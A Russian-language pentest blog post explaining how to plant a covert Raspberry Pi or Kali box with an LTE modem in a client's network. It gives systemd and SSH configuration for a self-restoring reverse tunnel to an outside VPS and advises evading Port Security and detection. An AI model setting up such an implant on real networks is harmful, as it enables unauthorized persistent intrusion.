Аппаратный БЭКДОР
Данная статья была разработана моим коллегой Николаем Лысяковым - @KLON2000
Добрый день друзья, в статье про работы на высоте (https://teletype.in/@r00t_owl/2vFmJb4gRX6) мы (@r00t_owl и @KLON2000) говорили Вам , что мы оставили аппартаный бекдор в виде Raspberry Pi в сети заказчика и продолжали удаленно работать.
В этой статье мы опишем Вам как это сделать.
Для примера я буду показывать на обычной Kali, так как наша “малинка” в данный момент находится на проекте, но у нее все происходит аналогично.
Суть заключается в том, что вы подключаете usb-модем с заряженой симкой к ноутбуку, малинке или чему-то еше, и раземещаете устройство во внутреннюю сети заказчика. Далее настраиваете маршруты, чтобы трафик который будет идти наружу проходил через usb-модем, а трафик который будет проходить внутрь - шел через eth (по проводу). В идеале нужно еще обойти Port Security и помаксимуму замоскировать свою тачку (У каждого специалиста свое мнение на этот счет, поэтому расписывать не стал), чтобы вас не заметили в сети.
Порядок действий для создания аппаратного бэкдора:
Мы будем поднимать ssh службу, которая автоматически будет восстанавливать соединение при разрыве. И получать доступ к ней удаленно, используя хоп через VPS.
1. Для начала на нашей кали создаем файл в /etc/default/secure-tunnel@ip_or_dns_you_vps :
TARGET=ip_or_dns_you_vps LOCAL_PORT=22 # port that will be use to ssh at remote server REMOTE_PORT=22222 # change username USERNAME=username SSH_TARGET_PORT=22
2. Затем создаем файл в /etc/systemd/system/[email protected] :
Description=Setup a secure tunnel to %I After=network.target [Service] Environment="LOCAL_ADDR=localhost" EnvironmentFile=/etc/default/secure-tunnel@%i ExecStart=/usr/bin/ssh -NT -o ServerAliveInterval=60 -o ExitOnForwardFailure=yes -R ${REMOTE_PORT}:localhost:${LOCAL_PORT} ${USERNAME}@${TARGET} #Это если есть авторан#Environment="AUTOSSH_GATETIME=0" #Это если есть авторан#ExecStart=/usr/bin/autossh -M 0 -o "ExitOnForwardFailure=yes" -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -NR ${REMOTE_PORT}:${LOCAL_ADDR}:${LOCAL_PORT} -p ${SSH_TARGET_PORT} ${USERNAME}@${TARGET} # Restart every >2 seconds to avoid StartLimitInterval failure RestartSec=5 Restart=always [Install] WantedBy=multi-user.target
Здесь мы можем использовать либо просто shh, либо autossh. Я буду использовать первый вариант.
В нашем случае наша кали будет приходить на VPS и открывать 22222 порт, при обращении на который мы будем получать доступ к кали.
3. Затем вам нужно скопировать ваш открытый ключ в .ssh/known_hosts.
4. В кали вам нужно поставить права на id_rsa, от пользователя с которого будете работать(либо /home/user/.ssh либо /root/.ssh):
sudo chmod 600 id_rsa sudo chown user:user /home/user/.ssh/id_rsa
5. Затем делаем перезапуск демона и запускаем службу:
systemctl daemon-reload systemctl start secure-tunnel@yourjumpsshserver systemctl status secure-tunnel@yourjumpsshserver
5.1 Если у вас будет disable and code-exited, то выполняйте команду в ручную и смотрите на каком моменте у вас крашится:
/usr/bin/ssh -Nt -o ServerALiveInterval ..... -v
5.2) Не забываем включить shh на Кали.
Когда у вас прокинутся порты, заходим на VPS и подключаемся к кали:
sudo ssh user@localhost -p 22222
Если в какой то момент вы не можете получить доступ к кали или малинке, на VPS просто убейте процесс с подключением к ней. Через пару мгновений вы увидите, что порт 22222 снова открылся.
На выходе вы получаете аппаратный бекдор к которому вы будете подключаться из любого уголка мира, который будет смотреть во внутреннюю сеть Заказчика и интернет и будет автоматически восстанавливать соединение при разрыве.
А еще я хочу порекомендовать вам канал по кибербезу, поэтому ловите ссылку – Пакет Безопасности. Там автор регулярно рассказывает об актуальных новостях из мира ИБ, обозревает полезные инструменты для безопасников и делится своим мнением.
Еще больше интересных статей в моем ТГ канале: https://t.me/pro_pentest